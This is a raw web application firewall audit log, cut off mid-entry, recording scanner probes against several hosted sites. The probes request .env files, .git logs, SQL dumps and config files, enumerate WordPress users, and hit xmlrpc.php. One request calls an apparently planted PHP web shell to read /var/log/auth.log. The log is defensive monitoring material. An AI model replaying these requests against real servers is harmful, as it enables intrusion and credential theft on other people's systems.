proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025409658693 675000 (- - -) Stopwatch2: 1750025409658693 675000; combined=1797, p1=362, p2=1349, p3=0, p4=0, p5=86, sr=82, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --13109150-Z-- --f0793170-A-- [16/Jun/2025:03:40:15.470704 +0530] aE9ExhAGYpjnkyifC9YkRQAAAAU 185.177.72.210 49372 127.0.0.1 7081 --f0793170-B-- GET /:5601/sites/all/libraries/mailchimp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f0793170-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c11eb0595e9780933179115fba5ed6ba1750025415; expires=Sun, 15 Jun 2025 23:10:15 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f0793170-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/sites/all/libraries/mailchimp/.env"] [unique_id "aE9ExhAGYpjnkyifC9YkRQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025414755547 715220 (- - -) Stopwatch2: 1750025414755547 715220; combined=1764, p1=381, p2=1285, p3=0, p4=0, p5=97, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f0793170-Z-- --bdbb7b0c-A-- [16/Jun/2025:03:40:16.557317 +0530] aE9Ex7sEVBap6l1Fvp1EKwAAAAQ 185.177.72.210 49446 127.0.0.1 7081 --bdbb7b0c-B-- GET /public_root/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bdbb7b0c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=bacc16faad1cf0ca52492b50500a6d981750025416; expires=Sun, 15 Jun 2025 23:10:16 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bdbb7b0c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/public_root/.env"] [unique_id "aE9Ex7sEVBap6l1Fvp1EKwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025415792018 765374 (- - -) Stopwatch2: 1750025415792018 765374; combined=1648, p1=373, p2=1175, p3=0, p4=0, p5=99, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bdbb7b0c-Z-- --8d11a208-A-- [16/Jun/2025:03:40:19.564420 +0530] aE9Eyk6Jm8uWY207Wng_cQAAAAE 185.177.72.210 49686 127.0.0.1 7081 --8d11a208-B-- GET /index.backup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8d11a208-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=62843a104e526908db12293ba243b4a41750025419; expires=Sun, 15 Jun 2025 23:10:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8d11a208-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/index.backup"] [unique_id "aE9Eyk6Jm8uWY207Wng_cQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025418901580 662973 (- - -) Stopwatch2: 1750025418901580 662973; combined=1651, p1=304, p2=1244, p3=0, p4=0, p5=102, sr=81, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8d11a208-Z-- --54cd3244-A-- [16/Jun/2025:03:40:20.592778 +0530] aE9Ey1R6EeXjkGzEkblo9wAAAAs 185.177.72.210 52480 127.0.0.1 7081 --54cd3244-B-- GET /accounts.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --54cd3244-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=80172a8c10379827ac10de60457ed7141750025420; expires=Sun, 15 Jun 2025 23:10:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --54cd3244-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/accounts.sql"] [unique_id "aE9Ey1R6EeXjkGzEkblo9wAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025419917067 675799 (- - -) Stopwatch2: 1750025419917067 675799; combined=1722, p1=325, p2=1289, p3=0, p4=0, p5=108, sr=90, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --54cd3244-Z-- --95983869-A-- [16/Jun/2025:03:40:21.619471 +0530] aE9EzHZqyQ8YfVGvJU7cuQAAAAY 185.177.72.210 52530 127.0.0.1 7081 --95983869-B-- GET /:8080/umgebung/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --95983869-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b81786c2b95b7be914ca3169a4db12481750025421; expires=Sun, 15 Jun 2025 23:10:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --95983869-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/umgebung/.env"] [unique_id "aE9EzHZqyQ8YfVGvJU7cuQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025420936195 683430 (- - -) Stopwatch2: 1750025420936195 683430; combined=1986, p1=390, p2=1464, p3=0, p4=0, p5=131, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --95983869-Z-- --91b43824-A-- [16/Jun/2025:03:40:22.620025 +0530] aE9EzR-kH31pk4mNbsVDEwAAAAo 185.177.72.210 52586 127.0.0.1 7081 --91b43824-B-- GET /.git/logs/refs/heads/master HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --91b43824-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c966b974f3086b4c13d7e589d2621ad71750025422; expires=Sun, 15 Jun 2025 23:10:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --91b43824-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/logs/refs/heads/master"] [unique_id "aE9EzR-kH31pk4mNbsVDEwAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025421944020 676076 (- - -) Stopwatch2: 1750025421944020 676076; combined=1874, p1=389, p2=1390, p3=0, p4=0, p5=95, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --91b43824-Z-- --c7aedc64-A-- [16/Jun/2025:03:40:23.824397 +0530] aE9Ez7sEVBap6l1Fvp1ELwAAAAQ 34.231.77.232 52690 127.0.0.1 7081 --c7aedc64-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=//var/log&viewfile=//var/log/auth.log.1 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 34.231.77.232 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36 Accept-Encoding: gzip,deflate --c7aedc64-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2946 Connection: close Content-Type: text/html; charset=UTF-8 --c7aedc64-H-- Message: Warning. Matched phrase "var/log/auth.log" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: var/log/auth.log found within ARGS:viewfile: /var/log/auth.log.1"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "var/log/auth.log" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: var/log/auth.log found within ARGS:viewfile: /var/log/auth.log.1"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE9Ez7sEVBap6l1Fvp1ELwAAAAQ"] Apache-Handler: application/x-httpd-php Stopwatch: 1750025423820757 3711 (- - -) Stopwatch2: 1750025423820757 3711; combined=1922, p1=348, p2=1458, p3=34, p4=31, p5=51, sr=100, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c7aedc64-Z-- --ec70f33b-A-- [16/Jun/2025:03:40:25.720458 +0530] aE9E0X2GhYywD7zZgx7-TAAAAAM 185.177.72.210 52762 127.0.0.1 7081 --ec70f33b-B-- GET /:5601/production/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ec70f33b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d5c4f2a6309ef4943687d80c52764e531750025425; expires=Sun, 15 Jun 2025 23:10:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ec70f33b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/production/.env"] [unique_id "aE9E0X2GhYywD7zZgx7-TAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025425024529 696038 (- - -) Stopwatch2: 1750025425024529 696038; combined=2043, p1=536, p2=1372, p3=0, p4=0, p5=135, sr=124, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ec70f33b-Z-- --3f25cc3f-A-- [16/Jun/2025:03:40:43.135737 +0530] aE9E4X2GhYywD7zZgx7-VwAAAAM 95.216.226.49 50592 127.0.0.1 7081 --3f25cc3f-B-- GET ///wp-json/wp/v2/users/ HTTP/1.0 Host: www.home9ine.com X-Real-IP: 95.216.226.49 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:85.0) Gecko/20100101 Firefox/91.0 Referer: http://home9ine.com///wp-json/wp/v2/users/ Accept-Encoding: gzip --3f25cc3f-F-- HTTP/1.1 401 Unauthorized X-Powered-By: PHP/8.3.22 X-Robots-Tag: noindex Link: <https://www.home9ine.com/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type Allow: GET Vary: Origin Set-Cookie: _sfs_id=d69819347e8f287aa75aefbbb80cba321750025442; expires=Sun, 15 Jun 2025 23:10:42 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: application/json; charset=UTF-8 --3f25cc3f-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.home9ine.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.home9ine.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.home9ine.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aE9E4X2GhYywD7zZgx7-VwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/home9ine.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025441261701 1874112 (- - -) Stopwatch2: 1750025441261701 1874112; combined=2377, p1=441, p2=1845, p3=0, p4=0, p5=91, sr=115, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3f25cc3f-Z-- --12c8422e-A-- [16/Jun/2025:03:40:53.844145 +0530] aE9E7X2GhYywD7zZgx7-XQAAAAM 185.177.72.210 43144 127.0.0.1 7081 --12c8422e-B-- GET /packages/plugin-analytics/src/fixtures/analytics-ga-key/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --12c8422e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=29973128836032e22a06b9d3075b086f1750025453; expires=Sun, 15 Jun 2025 23:10:53 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --12c8422e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/packages/plugin-analytics/src/fixtures/analytics-ga-key/.env"] [unique_id "aE9E7X2GhYywD7zZgx7-XQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025453147739 696495 (- - -) Stopwatch2: 1750025453147739 696495; combined=2000, p1=423, p2=1476, p3=0, p4=0, p5=101, sr=98, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --12c8422e-Z-- --2a651547-A-- [16/Jun/2025:03:41:00.509198 +0530] aE9E80NwpNEMJppxC49WAwAAAAI 128.199.112.101 36412 127.0.0.1 7081 --2a651547-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 489 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --2a651547-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --2a651547-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9E80NwpNEMJppxC49WAwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025459542265 966988 (- - -) Stopwatch2: 1750025459542265 966988; combined=2068, p1=367, p2=1321, p3=41, p4=64, p5=172, sr=107, sw=103, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2a651547-Z-- --cd8f3129-A-- [16/Jun/2025:03:41:00.821390 +0530] aE9E9FR6EeXjkGzEkblpEQAAAAs 185.177.72.210 36438 127.0.0.1 7081 --cd8f3129-B-- GET /config.php.inc HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --cd8f3129-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c1c32e161bc0f0f335f7e5f2d93291e91750025460; expires=Sun, 15 Jun 2025 23:11:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --cd8f3129-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/config.php.inc"] [unique_id "aE9E9FR6EeXjkGzEkblpEQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025460094670 726783 (- - -) Stopwatch2: 1750025460094670 726783; combined=2063, p1=329, p2=1603, p3=0, p4=0, p5=131, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cd8f3129-Z-- --934ab11d-A-- [16/Jun/2025:03:41:01.877833 +0530] aE9E9R-kH31pk4mNbsVDLAAAAAo 185.177.72.210 36478 127.0.0.1 7081 --934ab11d-B-- GET /qwertypoiu.htw HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --934ab11d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7f577298acd059ea1bd88de530c9ffe11750025461; expires=Sun, 15 Jun 2025 23:11:01 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --934ab11d-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".htw"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".htw"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri 